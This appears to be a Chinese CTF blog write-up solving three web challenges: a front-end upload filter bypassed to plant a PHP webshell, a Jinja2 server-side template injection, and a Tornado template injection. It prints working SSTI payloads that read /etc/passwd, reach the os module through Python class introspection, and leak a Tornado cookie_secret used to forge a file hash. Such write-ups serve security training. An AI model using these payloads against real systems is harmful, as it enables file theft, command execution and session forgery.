码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 攻防世界WEB高手进阶区upload1,Web_python_template_injection,easytornado


    目录

    upload1

    题目介绍

    解题思路

    访问靶场

    上传文件

    查看源码

    关闭前端

    上传websehll.php

    蚁剑连接

    寻找flag

    找到flag

    Web_python_template_injection

    题目介绍

    解题思路

    访问靶场

    判断是否为模板注入

    查看全局变量

    魔术方法知识点

    利用魔术方法

    找到type file可以进行文件读取

    找到 可以进行命令执行

    读取flag

    找到flag

    easytornado

    题目介绍

    解题思路

    访问靶场

    逐个查看文件

    访问 /fllllllllllllag

    构造payload获取cookie_secret

    获取flag

    找到flag

    upload1

    题目介绍

    解题思路

    访问靶场

    上传文件

    查看源码

    发现用前端javascript来限制上传文件格式

    关闭前端

    下载插件disable javascript,关闭前端

    上传websehll.php

    蚁剑连接

    寻找flag

    在html文件夹下找到flag

    找到flag

    cyberpeace{71b414e237ae390d1d5fa0171dfb0bb6}

    Web_python_template_injection

    题目介绍

    解题思路

    访问靶场

    判断是否为模板注入

    http://111.200.241.244:58188/{{6*6}}

    存在模板注入

    查看全局变量

    http://111.200.241.244:58188/{{config}}http://111.200.241.244:58188/{{config}}http://111.200.241.244:58188/{{config}}

    魔术方法知识点

    __class__  返回类型所属的对象

    __mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

    __base__   返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的

    __subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

    __init__  类的初始化方法

    __globals__  对包含函数全局变量的字典的引用

    利用魔术方法

    http://111.200.241.244:58188/{{''.__class__.__mro__[2].__subclasses__()}}http://111.200.241.244:58188/{{''.__class__.__mro__[2].__subclasses__()}}

    http://111.200.241.244:58188/{{''.__class__.__mro__[2].__subclasses__()}}

    找到type file可以进行文件读取

    [40]是tupe file类型出现位置(从0开始的位置)

    http://111.200.241.244:58188/{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

    找到 可以进行命令执行

    http://111.200.241.244:58188/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

    读取flag

    找到flag

    ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

    easytornado

    题目介绍

    解题思路

    访问靶场

    逐个查看文件

    发现flag在/fllllllllllllag文件里

    render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

    访问 /fllllllllllllag

    111.200.241.244:62882/file?filename= /fllllllllllllag

    出现页面error

    观察页面后修改msg后面的数值

    此时结合第二个文件中的提示 render,考虑此处存在 Tornado 的服务端模板注入攻击

    发现确实存在 SSTI ,但是部分注入被过滤了

    构造payload获取cookie_secret

    cookie_secret 是存在于 settings 中的,settings 又作为参数传入了 Application 构造函数,因此可以通过 self.application.settings 来获取到 cookie_secret。又因为根据官方文档, RequestHandler.settings 的别名是 self.application.settings,且 handler 指向处理当前这个页面的 RequestHandler 对象,故最终的效果就是可以直接通过 handler.settings 来得到 cookie_secret 的值。

    构造 payload,msg={{handler.settings}} 即可获取到 cookie_secret。

    111.200.241.244:62882/error?msg={{handler.settings}}

    根据第三个文件

    对/fllllllllllllag进行md5加密

    对a4509af8-8497-40e2-9dd7-e0c85c01288d和 3bf9f6cf685a6dd8defadabfb41a03a1(小写)进行加密

    获得88898e58a01102c4a624fbb3934d6881

    获取flag

    我们得到

    filename=fllllllllllllag

    filehash=88898e58a01102c4a624fbb3934d6881

    找到flag

    flag{3f39aea39db345769397ae895edb9c70}

  • 相关阅读:
    【使用篇】WebView 实现嵌套滑动,丝滑般实现吸顶效果,完美兼容 X5 webview
    REDIS12_缓存雪崩、缓存穿透、基于布隆过滤器解决缓存穿透的问题、缓存击穿、基于缓存击穿工作实际案例
    java后端返回给前端不为空的属性
    Python数据可视化:如何选择合适的图表可视化?
    Python的快捷键
    中科院软件所智能人机交互研发实习生招募
    Lepton 无损压缩原理及性能分析
    网商银行有什么用
    【数据结构】二叉树经典例题---<你真的掌握二叉树了吗?>(第二弹)
    Pytorch实现线性回归模型
  • 原文地址:https://blog.csdn.net/lyshark_lyshark/article/details/126799259
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号